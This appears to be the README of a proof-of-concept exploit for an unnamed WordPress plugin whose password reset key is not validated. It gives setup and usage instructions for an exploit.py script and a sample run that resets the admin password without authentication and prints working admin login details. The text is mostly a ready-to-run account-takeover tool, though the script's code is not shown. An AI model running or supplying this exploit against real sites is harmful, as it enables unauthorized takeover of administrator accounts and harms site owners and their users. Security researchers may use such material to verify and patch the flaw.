The plugin does not validate the password reset key, which could allow unauthenticated attackers to reset arbitrary account's password to anything they want, by knowing the related email or username, gaining access to them.
- Python Setup
pip install -r requirements.txt
- Usage
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
-p PASSWORD, --password PASSWORD
Password to set for the selected username
-usr USERNAME, --username USERNAME
Username of the user to reset if you already know it.
- Example
python3 exploit.py --url https://wordpress.lan --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username: admin
Password: adminadmin2
Admin Url: https://wordpress.lan/wp-admin/